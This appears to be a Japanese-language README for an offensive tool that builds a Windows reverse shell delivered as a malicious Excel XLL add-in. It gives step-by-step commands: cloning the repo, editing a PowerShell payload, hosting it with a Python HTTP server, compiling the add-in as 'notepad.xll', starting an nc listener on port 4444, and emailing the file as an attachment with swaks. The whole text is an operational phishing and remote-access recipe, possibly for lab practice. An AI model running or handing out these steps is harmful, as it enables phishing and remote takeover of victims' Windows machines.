xll_windows_reverse_shell

xll Windowsリバースシェル

攻撃者（Kali）マシンで：

git clone https://github.com/n3rdh4x0r/xll_windows_reverse_shell.git

1. revsh.ps1 を更新します
2. Python HTTPサーバーを作成します

python3 -m http.server 9999

攻撃者（Windows）マシンで：

1. notpadXLL.c をWindows攻撃者マシンに移動し、notpadXLL.c を適宜更新します。
2. x64 Native Tools Command Prompt for VS 2022 を開きます
3. 以下のコマンドを実行して notepad.xll を生成します

cl.exe /LD notepadXLL.c /link /out:notepad.xll

5. この notepad.xll をKaliマシンに移動します

Kaliマシンで

1. swaks をダウンロードします

 curl -O https://jetmore.org/john/code/swaks/files/swaks-20240103.0/swaks

2. ncリスナーを設定します

nc -nlvp 4444

3. swaks を使用して、notepad.xll を添付したメールを送信します：

./swaks --to [email protected] --from [email protected] --server 10.10.11.21 --port 25 --header "Subject: test" --body "test" --attach @notepad.xll